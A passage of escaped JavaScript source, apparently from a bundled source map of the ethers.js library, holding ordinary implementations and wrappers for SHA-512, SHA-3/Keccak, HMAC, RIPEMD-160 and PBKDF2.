'0xc6e00bf33da88fc2', '0xd5a79147930aa725', '0x06ca6351e003826f', '0x142929670a0e6e70',\n '0x27b70a8546d22ffc', '0x2e1b21385c26c926', '0x4d2c6dfc5ac42aed', '0x53380d139d95b3df',\n '0x650a73548baf63de', '0x766a0abb3c77b2a8', '0x81c2c92e47edaee6', '0x92722c851482353b',\n '0xa2bfe8a14cf10364', '0xa81a664bbc423001', '0xc24b8b70d0f89791', '0xc76c51a30654be30',\n '0xd192e819d6ef5218', '0xd69906245565a910', '0xf40e35855771202a', '0x106aa07032bbd1b8',\n '0x19a4c116b8d2d0c8', '0x1e376c085141ab53', '0x2748774cdf8eeb99', '0x34b0bcb5e19b48a8',\n '0x391c0cb3c5c95a63', '0x4ed8aa4ae3418acb', '0x5b9cca4f7763e373', '0x682e6ff3d6b2b8a3',\n '0x748f82ee5defb2fc', '0x78a5636f43172f60', '0x84c87814a1f0ab72', '0x8cc702081a6439ec',\n '0x90befffa23631e28', '0xa4506cebde82bde9', '0xbef9a3f7b2c67915', '0xc67178f2e372532b',\n '0xca273eceea26619c', '0xd186b8c721c0c207', '0xeada7dd6cde0eb1e', '0xf57d4f7fee6ed178',\n '0x06f067aa72176fba', '0x0a637dc5a2c898a6', '0x113f9804bef90dae', '0x1b710b35131c471b',\n '0x28db77f523047d84', '0x32caab7b40c72493', '0x3c9ebe0a15c9bebc', '0x431d67c49c100d4c',\n '0x4cc5d4becb3e42b6', '0x597f299cfc657e2a', '0x5fcb6fab3ad6faec', '0x6c44198c4a475817'\n].map(n => BigInt(n))))();\n// Temporary buffer, not used to store anything between runs\nconst SHA512_W_H = /* @__PURE__ */ new Uint32Array(80);\nconst SHA512_W_L = /* @__PURE__ */ new Uint32Array(80);\nexport class SHA512 extends SHA2 {\n constructor() {\n super(128, 64, 16, false);\n // We cannot use array here since array allows indexing by variable which means optimizer/compiler cannot use registers.\n // Also looks cleaner and easier to verify with spec.\n // Initial state (first 32 bits of the fractional parts of the square roots of the first 8 primes 2..19):\n // h -- high 32 bits, l -- low 32 bits\n this.Ah = 0x6a09e667 | 0;\n this.Al = 0xf3bcc908 | 0;\n this.Bh = 0xbb67ae85 | 0;\n this.Bl = 0x84caa73b | 0;\n this.Ch = 0x3c6ef372 | 0;\n this.Cl = 0xfe94f82b | 0;\n this.Dh = 0xa54ff53a | 0;\n this.Dl = 0x5f1d36f1 | 0;\n this.Eh = 0x510e527f | 0;\n this.El = 0xade682d1 | 0;\n this.Fh = 0x9b05688c | 0;\n this.Fl = 0x2b3e6c1f | 0;\n this.Gh = 0x1f83d9ab | 0;\n this.Gl = 0xfb41bd6b | 0;\n this.Hh = 0x5be0cd19 | 0;\n this.Hl = 0x137e2179 | 0;\n }\n // prettier-ignore\n get() {\n const { Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl } = this;\n return [Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl];\n }\n // prettier-ignore\n set(Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl) {\n this.Ah = Ah | 0;\n this.Al = Al | 0;\n this.Bh = Bh | 0;\n this.Bl = Bl | 0;\n this.Ch = Ch | 0;\n this.Cl = Cl | 0;\n this.Dh = Dh | 0;\n this.Dl = Dl | 0;\n this.Eh = Eh | 0;\n this.El = El | 0;\n this.Fh = Fh | 0;\n this.Fl = Fl | 0;\n this.Gh = Gh | 0;\n this.Gl = Gl | 0;\n this.Hh = Hh | 0;\n this.Hl = Hl | 0;\n }\n process(view, offset) {\n // Extend the first 16 words into the remaining 64 words w[16..79] of the message schedule array\n for (let i = 0; i < 16; i++, offset += 4) {\n SHA512_W_H[i] = view.getUint32(offset);\n SHA512_W_L[i] = view.getUint32((offset += 4));\n }\n for (let i = 16; i < 80; i++) {\n // s0 := (w[i-15] rightrotate 1) xor (w[i-15] rightrotate 8) xor (w[i-15] rightshift 7)\n const W15h = SHA512_W_H[i - 15] | 0;\n const W15l = SHA512_W_L[i - 15] | 0;\n const s0h = u64.rotrSH(W15h, W15l, 1) ^ u64.rotrSH(W15h, W15l, 8) ^ u64.shrSH(W15h, W15l, 7);\n const s0l = u64.rotrSL(W15h, W15l, 1) ^ u64.rotrSL(W15h, W15l, 8) ^ u64.shrSL(W15h, W15l, 7);\n // s1 := (w[i-2] rightrotate 19) xor (w[i-2] rightrotate 61) xor (w[i-2] rightshift 6)\n const W2h = SHA512_W_H[i - 2] | 0;\n const W2l = SHA512_W_L[i - 2] | 0;\n const s1h = u64.rotrSH(W2h, W2l, 19) ^ u64.rotrBH(W2h, W2l, 61) ^ u64.shrSH(W2h, W2l, 6);\n const s1l = u64.rotrSL(W2h, W2l, 19) ^ u64.rotrBL(W2h, W2l, 61) ^ u64.shrSL(W2h, W2l, 6);\n // SHA256_W[i] = s0 + s1 + SHA256_W[i - 7] + SHA256_W[i - 16];\n const SUMl = u64.add4L(s0l, s1l, SHA512_W_L[i - 7], SHA512_W_L[i - 16]);\n const SUMh = u64.add4H(SUMl, s0h, s1h, SHA512_W_H[i - 7], SHA512_W_H[i - 16]);\n SHA512_W_H[i] = SUMh | 0;\n SHA512_W_L[i] = SUMl | 0;\n }\n let { Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl } = this;\n // Compression function main loop, 80 rounds\n for (let i = 0; i < 80; i++) {\n // S1 := (e rightrotate 14) xor (e rightrotate 18) xor (e rightrotate 41)\n const sigma1h = u64.rotrSH(Eh, El, 14) ^ u64.rotrSH(Eh, El, 18) ^ u64.rotrBH(Eh, El, 41);\n const sigma1l = u64.rotrSL(Eh, El, 14) ^ u64.rotrSL(Eh, El, 18) ^ u64.rotrBL(Eh, El, 41);\n //const T1 = (H + sigma1 + Chi(E, F, G) + SHA256_K[i] + SHA256_W[i]) | 0;\n const CHIh = (Eh & Fh) ^ (~Eh & Gh);\n const CHIl = (El & Fl) ^ (~El & Gl);\n // T1 = H + sigma1 + Chi(E, F, G) + SHA512_K[i] + SHA512_W[i]\n // prettier-ignore\n const T1ll = u64.add5L(Hl, sigma1l, CHIl, SHA512_Kl[i], SHA512_W_L[i]);\n const T1h = u64.add5H(T1ll, Hh, sigma1h, CHIh, SHA512_Kh[i], SHA512_W_H[i]);\n const T1l = T1ll | 0;\n // S0 := (a rightrotate 28) xor (a rightrotate 34) xor (a rightrotate 39)\n const sigma0h = u64.rotrSH(Ah, Al, 28) ^ u64.rotrBH(Ah, Al, 34) ^ u64.rotrBH(Ah, Al, 39);\n const sigma0l = u64.rotrSL(Ah, Al, 28) ^ u64.rotrBL(Ah, Al, 34) ^ u64.rotrBL(Ah, Al, 39);\n const MAJh = (Ah & Bh) ^ (Ah & Ch) ^ (Bh & Ch);\n const MAJl = (Al & Bl) ^ (Al & Cl) ^ (Bl & Cl);\n Hh = Gh | 0;\n Hl = Gl | 0;\n Gh = Fh | 0;\n Gl = Fl | 0;\n Fh = Eh | 0;\n Fl = El | 0;\n ({ h: Eh, l: El } = u64.add(Dh | 0, Dl | 0, T1h | 0, T1l | 0));\n Dh = Ch | 0;\n Dl = Cl | 0;\n Ch = Bh | 0;\n Cl = Bl | 0;\n Bh = Ah | 0;\n Bl = Al | 0;\n const All = u64.add3L(T1l, sigma0l, MAJl);\n Ah = u64.add3H(All, T1h, sigma0h, MAJh);\n Al = All | 0;\n }\n // Add the compressed chunk to the current hash value\n ({ h: Ah, l: Al } = u64.add(this.Ah | 0, this.Al | 0, Ah | 0, Al | 0));\n ({ h: Bh, l: Bl } = u64.add(this.Bh | 0, this.Bl | 0, Bh | 0, Bl | 0));\n ({ h: Ch, l: Cl } = u64.add(this.Ch | 0, this.Cl | 0, Ch | 0, Cl | 0));\n ({ h: Dh, l: Dl } = u64.add(this.Dh | 0, this.Dl | 0, Dh | 0, Dl | 0));\n ({ h: Eh, l: El } = u64.add(this.Eh | 0, this.El | 0, Eh | 0, El | 0));\n ({ h: Fh, l: Fl } = u64.add(this.Fh | 0, this.Fl | 0, Fh | 0, Fl | 0));\n ({ h: Gh, l: Gl } = u64.add(this.Gh | 0, this.Gl | 0, Gh | 0, Gl | 0));\n ({ h: Hh, l: Hl } = u64.add(this.Hh | 0, this.Hl | 0, Hh | 0, Hl | 0));\n this.set(Ah, Al, Bh, Bl, Ch, Cl, Dh, Dl, Eh, El, Fh, Fl, Gh, Gl, Hh, Hl);\n }\n roundClean() {\n SHA512_W_H.fill(0);\n SHA512_W_L.fill(0);\n }\n destroy() {\n this.buffer.fill(0);\n this.set(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);\n }\n}\nclass SHA512_224 extends SHA512 {\n constructor() {\n super();\n // h -- high 32 bits, l -- low 32 bits\n this.Ah = 0x8c3d37c8 | 0;\n this.Al = 0x19544da2 | 0;\n this.Bh = 0x73e19966 | 0;\n this.Bl = 0x89dcd4d6 | 0;\n this.Ch = 0x1dfab7ae | 0;\n this.Cl = 0x32ff9c82 | 0;\n this.Dh = 0x679dd514 | 0;\n this.Dl = 0x582f9fcf | 0;\n this.Eh = 0x0f6d2b69 | 0;\n this.El = 0x7bd44da8 | 0;\n this.Fh = 0x77e36f73 | 0;\n this.Fl = 0x04c48942 | 0;\n this.Gh = 0x3f9d85a8 | 0;\n this.Gl = 0x6a1d36c8 | 0;\n this.Hh = 0x1112e6ad | 0;\n this.Hl = 0x91d692a1 | 0;\n this.outputLen = 28;\n }\n}\nclass SHA512_256 extends SHA512 {\n constructor() {\n super();\n // h -- high 32 bits, l -- low 32 bits\n this.Ah = 0x22312194 | 0;\n this.Al = 0xfc2bf72c | 0;\n this.Bh = 0x9f555fa3 | 0;\n this.Bl = 0xc84c64c2 | 0;\n this.Ch = 0x2393b86b | 0;\n this.Cl = 0x6f53b151 | 0;\n this.Dh = 0x96387719 | 0;\n this.Dl = 0x5940eabd | 0;\n this.Eh = 0x96283ee2 | 0;\n this.El = 0xa88effe3 | 0;\n this.Fh = 0xbe5e1e25 | 0;\n this.Fl = 0x53863992 | 0;\n this.Gh = 0x2b0199fc | 0;\n this.Gl = 0x2c85b8aa | 0;\n this.Hh = 0x0eb72ddc | 0;\n this.Hl = 0x81c52ca2 | 0;\n this.outputLen = 32;\n }\n}\nclass SHA384 extends SHA512 {\n constructor() {\n super();\n // h -- high 32 bits, l -- low 32 bits\n this.Ah = 0xcbbb9d5d | 0;\n this.Al = 0xc1059ed8 | 0;\n this.Bh = 0x629a292a | 0;\n this.Bl = 0x367cd507 | 0;\n this.Ch = 0x9159015a | 0;\n this.Cl = 0x3070dd17 | 0;\n this.Dh = 0x152fecd8 | 0;\n this.Dl = 0xf70e5939 | 0;\n this.Eh = 0x67332667 | 0;\n this.El = 0xffc00b31 | 0;\n this.Fh = 0x8eb44a87 | 0;\n this.Fl = 0x68581511 | 0;\n this.Gh = 0xdb0c2e0d | 0;\n this.Gl = 0x64f98fa7 | 0;\n this.Hh = 0x47b5481d | 0;\n this.Hl = 0xbefa4fa4 | 0;\n this.outputLen = 48;\n }\n}\nexport const sha512 = /* @__PURE__ */ wrapConstructor(() => new SHA512());\nexport const sha512_224 = /* @__PURE__ */ wrapConstructor(() => new SHA512_224());\nexport const sha512_256 = /* @__PURE__ */ wrapConstructor(() => new SHA512_256());\nexport const sha384 = /* @__PURE__ */ wrapConstructor(() => new SHA384());\n//# sourceMappingURL=sha512.js.map","/* Browser Crypto Shims */\nimport { hmac } from \"@noble/hashes/hmac\";\nimport { pbkdf2 } from \"@noble/hashes/pbkdf2\";\nimport { sha256 } from \"@noble/hashes/sha256\";\nimport { sha512 } from \"@noble/hashes/sha512\";\nimport { assert, assertArgument } from \"../utils/index.js\";\nfunction getGlobal() {\n if (typeof self !== 'undefined') {\n return self;\n }\n if (typeof window !== 'undefined') {\n return window;\n }\n if (typeof global !== 'undefined') {\n return global;\n }\n throw new Error('unable to locate global object');\n}\n;\nconst anyGlobal = getGlobal();\nconst crypto = anyGlobal.crypto || anyGlobal.msCrypto;\nexport function createHash(algo) {\n switch (algo) {\n case \"sha256\": return sha256.create();\n case \"sha512\": return sha512.create();\n }\n assertArgument(false, \"invalid hashing algorithm name\", \"algorithm\", algo);\n}\nexport function createHmac(_algo, key) {\n const algo = ({ sha256, sha512 }[_algo]);\n assertArgument(algo != null, \"invalid hmac algorithm\", \"algorithm\", _algo);\n return hmac.create(algo, key);\n}\nexport function pbkdf2Sync(password, salt, iterations, keylen, _algo) {\n const algo = ({ sha256, sha512 }[_algo]);\n assertArgument(algo != null, \"invalid pbkdf2 algorithm\", \"algorithm\", _algo);\n return pbkdf2(algo, password, salt, { c: iterations, dkLen: keylen });\n}\nexport function randomBytes(length) {\n assert(crypto != null, \"platform does not support secure random numbers\", \"UNSUPPORTED_OPERATION\", {\n operation: \"randomBytes\"\n });\n assertArgument(Number.isInteger(length) && length > 0 && length <= 1024, \"invalid length\", \"length\", length);\n const result = new Uint8Array(length);\n crypto.getRandomValues(result);\n return result;\n}\n//# sourceMappingURL=crypto-browser.js.map","/**\n * An **HMAC** enables verification that a given key was used\n * to authenticate a payload.\n *\n * See: [[link-wiki-hmac]]\n *\n * @_subsection: api/crypto:HMAC [about-hmac]\n */\nimport { createHmac } from \"./crypto.js\";\nimport { getBytes, hexlify } from \"../utils/index.js\";\nlet locked = false;\nconst _computeHmac = function (algorithm, key, data) {\n return createHmac(algorithm, key).update(data).digest();\n};\nlet __computeHmac = _computeHmac;\n/**\n * Return the HMAC for %%data%% using the %%key%% key with the underlying\n * %%algo%% used for compression.\n *\n * @example:\n * key = id(\"some-secret\")\n *\n * // Compute the HMAC\n * computeHmac(\"sha256\", key, \"0x1337\")\n * //_result:\n *\n * // To compute the HMAC of UTF-8 data, the data must be\n * // converted to UTF-8 bytes\n * computeHmac(\"sha256\", key, toUtf8Bytes(\"Hello World\"))\n * //_result:\n *\n */\nexport function computeHmac(algorithm, _key, _data) {\n const key = getBytes(_key, \"key\");\n const data = getBytes(_data, \"data\");\n return hexlify(__computeHmac(algorithm, key, data));\n}\ncomputeHmac._ = _computeHmac;\ncomputeHmac.lock = function () { locked = true; };\ncomputeHmac.register = function (func) {\n if (locked) {\n throw new Error(\"computeHmac is locked\");\n }\n __computeHmac = func;\n};\nObject.freeze(computeHmac);\n//# sourceMappingURL=hmac.js.map","import { bytes, exists, number, output } from './_assert.js';\nimport { rotlBH, rotlBL, rotlSH, rotlSL, split } from './_u64.js';\nimport { Hash, u32, toBytes, wrapConstructor, wrapXOFConstructorWithOpts, } from './utils.js';\n// SHA3 (keccak) is based on a new design: basically, the internal state is bigger than output size.\n// It's called a sponge function.\n// Various per round constants calculations\nconst [SHA3_PI, SHA3_ROTL, _SHA3_IOTA] = [[], [], []];\nconst _0n = /* @__PURE__ */ BigInt(0);\nconst _1n = /* @__PURE__ */ BigInt(1);\nconst _2n = /* @__PURE__ */ BigInt(2);\nconst _7n = /* @__PURE__ */ BigInt(7);\nconst _256n = /* @__PURE__ */ BigInt(256);\nconst _0x71n = /* @__PURE__ */ BigInt(0x71);\nfor (let round = 0, R = _1n, x = 1, y = 0; round < 24; round++) {\n // Pi\n [x, y] = [y, (2 * x + 3 * y) % 5];\n SHA3_PI.push(2 * (5 * y + x));\n // Rotational\n SHA3_ROTL.push((((round + 1) * (round + 2)) / 2) % 64);\n // Iota\n let t = _0n;\n for (let j = 0; j < 7; j++) {\n R = ((R << _1n) ^ ((R >> _7n) * _0x71n)) % _256n;\n if (R & _2n)\n t ^= _1n << ((_1n << /* @__PURE__ */ BigInt(j)) - _1n);\n }\n _SHA3_IOTA.push(t);\n}\nconst [SHA3_IOTA_H, SHA3_IOTA_L] = /* @__PURE__ */ split(_SHA3_IOTA, true);\n// Left rotation (without 0, 32, 64)\nconst rotlH = (h, l, s) => (s > 32 ? rotlBH(h, l, s) : rotlSH(h, l, s));\nconst rotlL = (h, l, s) => (s > 32 ? rotlBL(h, l, s) : rotlSL(h, l, s));\n// Same as keccakf1600, but allows to skip some rounds\nexport function keccakP(s, rounds = 24) {\n const B = new Uint32Array(5 * 2);\n // NOTE: all indices are x2 since we store state as u32 instead of u64 (bigints to slow in js)\n for (let round = 24 - rounds; round < 24; round++) {\n // Theta θ\n for (let x = 0; x < 10; x++)\n B[x] = s[x] ^ s[x + 10] ^ s[x + 20] ^ s[x + 30] ^ s[x + 40];\n for (let x = 0; x < 10; x += 2) {\n const idx1 = (x + 8) % 10;\n const idx0 = (x + 2) % 10;\n const B0 = B[idx0];\n const B1 = B[idx0 + 1];\n const Th = rotlH(B0, B1, 1) ^ B[idx1];\n const Tl = rotlL(B0, B1, 1) ^ B[idx1 + 1];\n for (let y = 0; y < 50; y += 10) {\n s[x + y] ^= Th;\n s[x + y + 1] ^= Tl;\n }\n }\n // Rho (ρ) and Pi (π)\n let curH = s[2];\n let curL = s[3];\n for (let t = 0; t < 24; t++) {\n const shift = SHA3_ROTL[t];\n const Th = rotlH(curH, curL, shift);\n const Tl = rotlL(curH, curL, shift);\n const PI = SHA3_PI[t];\n curH = s[PI];\n curL = s[PI + 1];\n s[PI] = Th;\n s[PI + 1] = Tl;\n }\n // Chi (χ)\n for (let y = 0; y < 50; y += 10) {\n for (let x = 0; x < 10; x++)\n B[x] = s[y + x];\n for (let x = 0; x < 10; x++)\n s[y + x] ^= ~B[(x + 2) % 10] & B[(x + 4) % 10];\n }\n // Iota (ι)\n s[0] ^= SHA3_IOTA_H[round];\n s[1] ^= SHA3_IOTA_L[round];\n }\n B.fill(0);\n}\nexport class Keccak extends Hash {\n // NOTE: we accept arguments in bytes instead of bits here.\n constructor(blockLen, suffix, outputLen, enableXOF = false, rounds = 24) {\n super();\n this.blockLen = blockLen;\n this.suffix = suffix;\n this.outputLen = outputLen;\n this.enableXOF = enableXOF;\n this.rounds = rounds;\n this.pos = 0;\n this.posOut = 0;\n this.finished = false;\n this.destroyed = false;\n // Can be passed from user as dkLen\n number(outputLen);\n // 1600 = 5x5 matrix of 64bit. 1600 bits === 200 bytes\n if (0 >= this.blockLen || this.blockLen >= 200)\n throw new Error('Sha3 supports only keccak-f1600 function');\n this.state = new Uint8Array(200);\n this.state32 = u32(this.state);\n }\n keccak() {\n keccakP(this.state32, this.rounds);\n this.posOut = 0;\n this.pos = 0;\n }\n update(data) {\n exists(this);\n const { blockLen, state } = this;\n data = toBytes(data);\n const len = data.length;\n for (let pos = 0; pos < len;) {\n const take = Math.min(blockLen - this.pos, len - pos);\n for (let i = 0; i < take; i++)\n state[this.pos++] ^= data[pos++];\n if (this.pos === blockLen)\n this.keccak();\n }\n return this;\n }\n finish() {\n if (this.finished)\n return;\n this.finished = true;\n const { state, suffix, pos, blockLen } = this;\n // Do the padding\n state[pos] ^= suffix;\n if ((suffix & 0x80) !== 0 && pos === blockLen - 1)\n this.keccak();\n state[blockLen - 1] ^= 0x80;\n this.keccak();\n }\n writeInto(out) {\n exists(this, false);\n bytes(out);\n this.finish();\n const bufferOut = this.state;\n const { blockLen } = this;\n for (let pos = 0, len = out.length; pos < len;) {\n if (this.posOut >= blockLen)\n this.keccak();\n const take = Math.min(blockLen - this.posOut, len - pos);\n out.set(bufferOut.subarray(this.posOut, this.posOut + take), pos);\n this.posOut += take;\n pos += take;\n }\n return out;\n }\n xofInto(out) {\n // Sha3/Keccak usage with XOF is probably mistake, only SHAKE instances can do XOF\n if (!this.enableXOF)\n throw new Error('XOF is not possible for this instance');\n return this.writeInto(out);\n }\n xof(bytes) {\n number(bytes);\n return this.xofInto(new Uint8Array(bytes));\n }\n digestInto(out) {\n output(out, this);\n if (this.finished)\n throw new Error('digest() was already called');\n this.writeInto(out);\n this.destroy();\n return out;\n }\n digest() {\n return this.digestInto(new Uint8Array(this.outputLen));\n }\n destroy() {\n this.destroyed = true;\n this.state.fill(0);\n }\n _cloneInto(to) {\n const { blockLen, suffix, outputLen, rounds, enableXOF } = this;\n to || (to = new Keccak(blockLen, suffix, outputLen, enableXOF, rounds));\n to.state32.set(this.state32);\n to.pos = this.pos;\n to.posOut = this.posOut;\n to.finished = this.finished;\n to.rounds = rounds;\n // Suffix can change in cSHAKE\n to.suffix = suffix;\n to.outputLen = outputLen;\n to.enableXOF = enableXOF;\n to.destroyed = this.destroyed;\n return to;\n }\n}\nconst gen = (suffix, blockLen, outputLen) => wrapConstructor(() => new Keccak(blockLen, suffix, outputLen));\nexport const sha3_224 = /* @__PURE__ */ gen(0x06, 144, 224 / 8);\n/**\n * SHA3-256 hash function\n * @param message - that would be hashed\n */\nexport const sha3_256 = /* @__PURE__ */ gen(0x06, 136, 256 / 8);\nexport const sha3_384 = /* @__PURE__ */ gen(0x06, 104, 384 / 8);\nexport const sha3_512 = /* @__PURE__ */ gen(0x06, 72, 512 / 8);\nexport const keccak_224 = /* @__PURE__ */ gen(0x01, 144, 224 / 8);\n/**\n * keccak-256 hash function. Different from SHA3-256.\n * @param message - that would be hashed\n */\nexport const keccak_256 = /* @__PURE__ */ gen(0x01, 136, 256 / 8);\nexport const keccak_384 = /* @__PURE__ */ gen(0x01, 104, 384 / 8);\nexport const keccak_512 = /* @__PURE__ */ gen(0x01, 72, 512 / 8);\nconst genShake = (suffix, blockLen, outputLen) => wrapXOFConstructorWithOpts((opts = {}) => new Keccak(blockLen, suffix, opts.dkLen === undefined ? outputLen : opts.dkLen, true));\nexport const shake128 = /* @__PURE__ */ genShake(0x1f, 168, 128 / 8);\nexport const shake256 = /* @__PURE__ */ genShake(0x1f, 136, 256 / 8);\n//# sourceMappingURL=sha3.js.map","/**\n * Cryptographic hashing functions\n *\n * @_subsection: api/crypto:Hash Functions [about-crypto-hashing]\n */\nimport { keccak_256 } from \"@noble/hashes/sha3\";\nimport { getBytes, hexlify } from \"../utils/index.js\";\nlet locked = false;\nconst _keccak256 = function (data) {\n return keccak_256(data);\n};\nlet __keccak256 = _keccak256;\n/**\n * Compute the cryptographic KECCAK256 hash of %%data%%.\n *\n * The %%data%% **must** be a data representation, to compute the\n * hash of UTF-8 data use the [[id]] function.\n *\n * @returns DataHexstring\n * @example:\n * keccak256(\"0x\")\n * //_result:\n *\n * keccak256(\"0x1337\")\n * //_result:\n *\n * keccak256(new Uint8Array([ 0x13, 0x37 ]))\n * //_result:\n *\n * // Strings are assumed to be DataHexString, otherwise it will\n * // throw. To hash UTF-8 data, see the note above.\n * keccak256(\"Hello World\")\n * //_error:\n */\nexport function keccak256(_data) {\n const data = getBytes(_data, \"data\");\n return hexlify(__keccak256(data));\n}\nkeccak256._ = _keccak256;\nkeccak256.lock = function () { locked = true; };\nkeccak256.register = function (func) {\n if (locked) {\n throw new TypeError(\"keccak256 is locked\");\n }\n __keccak256 = func;\n};\nObject.freeze(keccak256);\n//# sourceMappingURL=keccak.js.map","import { SHA2 } from './_sha2.js';\nimport { wrapConstructor } from './utils.js';\n// https://homes.esat.kuleuven.be/~bosselae/ripemd160.html\n// https://homes.esat.kuleuven.be/~bosselae/ripemd160/pdf/AB-9601/AB-9601.pdf\nconst Rho = /* @__PURE__ */ new Uint8Array([7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8]);\nconst Id = /* @__PURE__ */ Uint8Array.from({ length: 16 }, (_, i) => i);\nconst Pi = /* @__PURE__ */ Id.map((i) => (9 * i + 5) % 16);\nlet idxL = [Id];\nlet idxR = [Pi];\nfor (let i = 0; i < 4; i++)\n for (let j of [idxL, idxR])\n j.push(j[i].map((k) => Rho[k]));\nconst shifts = /* @__PURE__ */ [\n [11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8],\n [12, 13, 11, 15, 6, 9, 9, 7, 12, 15, 11, 13, 7, 8, 7, 7],\n [13, 15, 14, 11, 7, 7, 6, 8, 13, 14, 13, 12, 5, 5, 6, 9],\n [14, 11, 12, 14, 8, 6, 5, 5, 15, 12, 15, 14, 9, 9, 8, 6],\n [15, 12, 13, 13, 9, 5, 8, 6, 14, 11, 12, 11, 8, 6, 5, 5],\n].map((i) => new Uint8Array(i));\nconst shiftsL = /* @__PURE__ */ idxL.map((idx, i) => idx.map((j) => shifts[i][j]));\nconst shiftsR = /* @__PURE__ */ idxR.map((idx, i) => idx.map((j) => shifts[i][j]));\nconst Kl = /* @__PURE__ */ new Uint32Array([\n 0x00000000, 0x5a827999, 0x6ed9eba1, 0x8f1bbcdc, 0xa953fd4e,\n]);\nconst Kr = /* @__PURE__ */ new Uint32Array([\n 0x50a28be6, 0x5c4dd124, 0x6d703ef3, 0x7a6d76e9, 0x00000000,\n]);\n// The rotate left (circular left shift) operation for uint32\nconst rotl = (word, shift) => (word << shift) | (word >>> (32 - shift));\n// It's called f() in spec.\nfunction f(group, x, y, z) {\n if (group === 0)\n return x ^ y ^ z;\n else if (group === 1)\n return (x & y) | (~x & z);\n else if (group === 2)\n return (x | ~y) ^ z;\n else if (group === 3)\n return (x & z) | (y & ~z);\n else\n return x ^ (y | ~z);\n}\n// Temporary buffer, not used to store anything between runs\nconst BUF = /* @__PURE__ */ new Uint32Array(16);\nexport class RIPEMD160 extends SHA2 {\n constructor() {\n super(64, 20, 8, true);\n this.h0 = 0x67452301 | 0;\n this.h1 = 0xefcdab89 | 0;\n this.h2 = 0x98badcfe | 0;\n this.h3 = 0x10325476 | 0;\n this.h4 = 0xc3d2e1f0 | 0;\n }\n get() {\n const { h0, h1, h2, h3, h4 } = this;\n return [h0, h1, h2, h3, h4];\n }\n set(h0, h1, h2, h3, h4) {\n this.h0 = h0 | 0;\n this.h1 = h1 | 0;\n this.h2 = h2 | 0;\n this.h3 = h3 | 0;\n this.h4 = h4 | 0;\n }\n process(view, offset) {\n for (let i = 0; i < 16; i++, offset += 4)\n BUF[i] = view.getUint32(offset, true);\n // prettier-ignore\n let al = this.h0 | 0, ar = al, bl = this.h1 | 0, br = bl, cl = this.h2 | 0, cr = cl, dl = this.h3 | 0, dr = dl, el = this.h4 | 0, er = el;\n // Instead of iterating 0 to 80, we split it into 5 groups\n // And use the groups in constants, functions, etc. Much simpler\n for (let group = 0; group < 5; group++) {\n const rGroup = 4 - group;\n const hbl = Kl[group], hbr = Kr[group]; // prettier-ignore\n const rl = idxL[group], rr = idxR[group]; // prettier-ignore\n const sl = shiftsL[group], sr = shiftsR[group]; // prettier-ignore\n for (let i = 0; i < 16; i++) {\n const tl = (rotl(al + f(group, bl, cl, dl) + BUF[rl[i]] + hbl, sl[i]) + el) | 0;\n al = el, el = dl, dl = rotl(cl, 10) | 0, cl = bl, bl = tl; // prettier-ignore\n }\n // 2 loops are 10% faster\n for (let i = 0; i < 16; i++) {\n const tr = (rotl(ar + f(rGroup, br, cr, dr) + BUF[rr[i]] + hbr, sr[i]) + er) | 0;\n ar = er, er = dr, dr = rotl(cr, 10) | 0, cr = br, br = tr; // prettier-ignore\n }\n }\n // Add the compressed chunk to the current hash value\n this.set((this.h1 + cl + dr) | 0, (this.h2 + dl + er) | 0, (this.h3 + el + ar) | 0, (this.h4 + al + br) | 0, (this.h0 + bl + cr) | 0);\n }\n roundClean() {\n BUF.fill(0);\n }\n destroy() {\n this.destroyed = true;\n this.buffer.fill(0);\n this.set(0, 0, 0, 0, 0);\n }\n}\n/**\n * RIPEMD-160 - a hash function from 1990s.\n * @param message - msg that would be hashed\n */\nexport const ripemd160 = /* @__PURE__ */ wrapConstructor(() => new RIPEMD160());\n//# sourceMappingURL=ripemd160.js.map","import { ripemd160 as noble_ripemd160 } from \"@noble/hashes/ripemd160\";\nimport { getBytes, hexlify } from \"../utils/index.js\";\nlet locked = false;\nconst _ripemd160 = function (data) {\n return noble_ripemd160(data);\n};\nlet __ripemd160 = _ripemd160;\n/**\n * Compute the cryptographic RIPEMD-160 hash of %%data%%.\n *\n * @_docloc: api/crypto:Hash Functions\n * @returns DataHexstring\n *\n * @example:\n * ripemd160(\"0x\")\n * //_result:\n *\n * ripemd160(\"0x1337\")\n * //_result:\n *\n * ripemd160(new Uint8Array([ 0x13, 0x37 ]))\n * //_result:\n *\n */\nexport function ripemd160(_data) {\n const data = getBytes(_data, \"data\");\n return hexlify(__ripemd160(data));\n}\nripemd160._ = _ripemd160;\nripemd160.lock = function () { locked = true; };\nripemd160.register = function (func) {\n if (locked) {\n throw new TypeError(\"ripemd160 is locked\");\n }\n __ripemd160 = func;\n};\nObject.freeze(ripemd160);\n//# sourceMappingURL=ripemd160.js.map","/**\n * A **Password-Based Key-Derivation Function** is designed to create\n * a sequence of bytes suitible as a **key** from a human-rememberable\n * password.\n *\n * @_subsection: api/crypto:Passwords [about-pbkdf]\n */\nimport { pbkdf2Sync } from \"./crypto.js\";\nimport { getBytes, hexlify } from \"../utils/index.js\";\nlet locked = false;\nconst _pbkdf2 = function (password, salt, iterations, keylen, algo) {\n return pbkdf2Sync(password, salt, iterations, keylen, algo);\n};\nlet __pbkdf2 = _pbkdf2;\n/**\n * Return the [[link-pbkdf2]] for %%keylen%% bytes for %%password%% using\n * the %%salt%% and using %%iterations%% of %%algo%%.\n *\n * This PBKDF is outdated and should not be used in new projects, but is\n * required to decrypt older files.\n *\n * @example:\n * // The password must be converted to bytes, and it is generally\n * // best practices to ensure the string has been normalized. Many\n * // formats explicitly indicate the normalization form to use.\n * password = \"hello\"\n * passwordBytes = toUtf8Bytes(password, \"NFKC\")\n *\n * salt = id(\"some-salt\")\n *\n * // Compute the PBKDF2\n * pbkdf2(passwordBytes, salt, 1024, 16, \"sha256\")\n * //_result:\n */\nexport function pbkdf2(_password, _salt, iterations, keylen, algo) {\n const password = getBytes(_password, \"password\");\n const salt = getBytes(_salt, \"salt\");\n return 